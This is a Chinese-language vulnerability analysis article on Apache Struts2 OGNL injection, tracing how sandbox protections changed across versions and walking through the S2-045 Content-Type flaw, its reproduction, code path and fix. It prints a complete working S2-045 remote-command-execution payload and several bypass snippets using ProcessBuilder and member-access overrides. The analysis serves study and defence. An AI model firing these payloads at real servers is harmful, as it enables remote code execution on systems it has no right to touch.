长亭百川云 - 文章详情

Struts2 系列漏洞 - payload 变化及 S2-045 分析

Medi0cr1ty

62

2024-07-13

01

前言

果然一个人看还是会遗漏很多东西,也是在看 payload 的时候卡壳了,所以自己在往回捯。那么就在前言中完善一下前面可能没有顾及到的内容:关于 struts 的版本升级及 payload 变化

1、

struts 2.3.14.1 与 struts 2.3.14.2 对比

  • allowStaticMethodAccess 加了 final ;

  • 去掉了 setAllowStaticMethodAccess 方法

所以在 struts 2.3.14.1 之前(包含 struts 2.3.14.1),我们 payload 中可以使用 #_memberAccess["allowStaticMethodAccess"]=true 来对参数 allowStaticMethodAccess 值进行更改。以 S2-009 举例说明(链接)

在 ognl.ASTVarRef#getValueBody 中获取 _memberAccess ( payload 中输入的)

进到 ognl.OgnlContext#get ,返回 SecurityMemberAccess 实例。

最终通过 setAllowStaticMethodAccess 来改变其值。

在 struts 2.3.14.1 之后 struts 2.3.20 之前,我们可以通过两种方式来绕过其设置(属性值加 final ;去掉 set 方法):

Struts2 系列漏洞 - S2-015 、 Struts2 系列漏洞 - S2-016 中:利用反射将 allowStaticMethodAccess 的值改变

`#f=#_memberAccess.getClass().getDeclaredField("allowStaticMethodAccess")``#f.setAccessible(true)``#f.set(#_memberAccess,true)`

Struts2 系列漏洞 - S2-012 中:直接通过创建 ProcessBuilder 对象的 start 方法来执行命令,因为 _memberAccess 中并没有阻止 public 方法及构造方法的调用。

`#p=new java.lang.ProcessBuilder('calc')``#p.start()`

然而这两种方法都在 struts 2.3.20 终止。

2、

struts 2.3.16.3 与 struts 2.3.20 对比

链接:

https://github.com/apache/struts/compare/STRUTS\_2\_3\_16\_3...STRUTS\_2\_3\_20

增加了 excludedClasses , excludedPackageNames 以及 excludedPackageNamePatterns 的黑名单。其中 excludedClasses 中增加了 java.lang.ClassLoader 的黑名单,这使得通过 new 方法创建 ProcessBuilder 实例的方式不再可用。

而 _memberAccess 仍是可访问的,在 S2-032 中使用 #_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS 来覆盖之前默认的 SecurityMemberAccess 。而 DefaultMemberAccess 允许静态方法及构造方法的执行。具体的分析见 Struts2 系列漏洞 - S2-032 。

3、

在 struts 2.3.30 之后以及 struts 2.5.2 之后

1. 不能直接通过 RESERVED_KEYS Map 中 _memberAccess 获取到 MemberAccess 类了;(我看参考资料中就写的一句 Finally, _memberAccess is gone, so none of these simple tricks work any more. 这个地方绕了蛮久,因为我发现第二点那几个类放黑名单的操作从 struts 2.3.29 开始就已经放了,而网上其他分析文章也没有提到这点。)

2. 将 ognl.DefaultMemberAccess 、 java.lang.ProcessBuilder 以及 com.opensymphony.xwork2.ognl.SecurityMemberAccess 都放在了黑名单中。

那么可以怎么做呢,可以一起看看 S2-045 中 payload 的绕过方式。

02

概述

这个漏洞是出现在 struts2 对 HttpServletRequest 进行装饰时,(为什么要进行装饰?因为 struts2 中数据存储是以 ActionContext 的形式存在于当前线程中,传统的访问方式无法顺利访问到数据)根据 request 的 content type 的不同,区分不同的装饰类型。而对于 MIME 类型为 multipart/form-data 的 POST 请求包会去容器中寻找 MultiPartRequest 的实现类。而 struts2 中默认的解析器为 jakarta 。

也即是对应 org.apache.struts2.dispatcher.multipart.JakartaMultiPartRequest 实现类。

在这个实现类中对于非预期的 content type 会抛出一个异常,而在异常的处理过程中,会将 content type 错误信息代入进行 ognl 解析。

官方链接:

https://cwiki.apache.org/confluence/display/WW/S2-045

影响版本:

Struts 2.3.5 - Struts 2.3.31, Struts 2.5 - Struts 2.5.10

03

复现

环境:

apache-tomcat-6.0.10 、 jdk1.8.0_261 、 struts 2.5.10

能正常启动程序即可,无特殊配置。

payload:

%{(#_='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='whoami').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}

04

分析

首先看在 Struts 2.3.31 下:

连着概述的说,在 PrepareOperations 的 wrapRequest 中完成 struts2 对 HttpServletRequest 的装饰。

转发到 org.apache.struts2.dispatcher.Dispatcher#wrapRequest(HttpServletRequest),判断了 content type 中是否包含了 multipart/form-data ,如果包含了就去找 MultiPartRequest 实例。(这里是 JakartaMultiPartRequest )

跟进 626 行,进入 org.apache.struts2.dispatcher.multipart.MultiPartRequestWrapper#MultiPartRequestWrapper

跟进,来到org.apache.struts2.dispatcher.multipart.JakartaMultiPartRequest#parse

解析出错捕获到异常,跟进 76 行 buildErrorMessage ,其中 var6 也就是异常信息中的 detailMessage 中包含了我们输入的错误的 content-type 。

跟进 com.opensymphony.xwork2.util.LocalizedTextUtil#findText

跟进 332 行,见到了老朋友。至此。

再来看一下 struts 2.5.10 下:(切换成这个版本,记得在 web.xml 下 filter-class 标签中将入口程序改为高版本中的 org.apache.struts2.dispatcher.filter.StrutsPrepareAndExecuteFilter)

前面都和低版本一样(除了入口程序不同),到了 org.apache.struts2.dispatcher.multipart.JakartaMultiPartRequest#parse 解析出错时调用的是 org.apache.struts2.dispatcher.multipart.AbstractMultiPartRequest#buildErrorMessage

这里不会跟进到 LocalizedTextUtil#findText 而是初始化了 LocalizedMessage 。最终触发是在执行拦截器链时,具体在:org.apache.struts2.interceptor.FileUploadInterceptor#intercept 中。后面就也一样了,至此。

接下来,我们看一下 payload 的构建,重点看这一段:

`(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).``(#_memberAccess?(#_memberAccess=#dm):(`  `(#container=#context['com.opensymphony.xwork2.ActionContext.container']).`  `(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).`  `(#ognlUtil.getExcludedPackageNames().clear()).`  `(#ognlUtil.getExcludedClasses().clear()).`  `(#context.setMemberAccess(#dm))`  `)``)`

前言中有提到在 struts 2.3.30 之后以及 struts 2.5.2 之后的变化, S2-045 影响版本不止之后的 struts 版本,所以对于前面版本还是可以通过 _memberAccess 访问到 MemberAccess 的。所以 payload 中有一个三目运算符。三目运算符 冒号 后面的内容才是在高版本中绕过限制的关键代码,重点看这一段。

这里并没有通过其他方式获取 _memberAccess ,而是通过获得 OgnlUtil 的实例将 ExcludedPackageNames 和 ExcludedClasses 清空从而影响 SecurityMemberAccess 中的属性。为什么可以这样呢?我们可以看一下 _memberAccess 是如何初始化的。( Struts2 系列漏洞 - S2-032 中讲了默认返回 SecurityMemberAccess 所以也可以说 SecurityMemberAccess 如何初始化的)

当一个请求进来时,由 PrepareOperations 的 createActionContext 来初始化其 ActionContext 。最终会调用 OgnlValueStack 的 setOgnlUtil 方法。

【 OgnlUtil 是使用单例模式实现的,所以他的实例是全局共享的,同样去获取其实例时,也是返回现有的全局 OgnlUtil 实例。】

在 setOgnlUtil 中,用 ognlUtil 对象初始化 OgnlValueStack 的 securityMemberAccess 。所以其实 OgnlUtil 与 SecurityMemberAccess 共享 ExcludedPackageNamePatterns 、 ExcludedPackageNames 和 ExcludedClasses 参数。

所以其实 payload 中就是 ognlUtil.getExcludedClasses() 返回 HashSet 集合,使用其 clear 方法清空。

具体串起来就是首先从 context 中获得 container 容器。

在 container 容器中依赖注入了 OgnlUtil ,使用 getInstance 获得现有的 OgnlUtil 实例。

接下来 ognlUtil.getExcludedPackageNames().clear() 、 ognlUtil.getExcludedClasses().clear()清空 ExcludedPackageNames 和 ExcludedClasses 参数,因为清空了,所以我们这时候可以重新将 context 中的 _memberAccess 设置成 DefaultMemberAccess 。接下来就是代码执行并回显的部分了。

05

修复

如果匹配不到具体的异常信息不再将 content type 内容代入异常处理过程中。

struts 2.3.32 :

struts 2.5.10.1 :

参考链接 :

https://securitylab.github.com/research/ognl-apache-struts-exploit-CVE-2018-11776

相关推荐
关注或联系我们
添加百川云公众号,移动管理云安全产品
咨询热线:
4000-327-707
百川公众号
百川公众号
百川云客服
百川云客服

Copyright ©2024 北京长亭科技有限公司
icon
京ICP备 2024055124号-2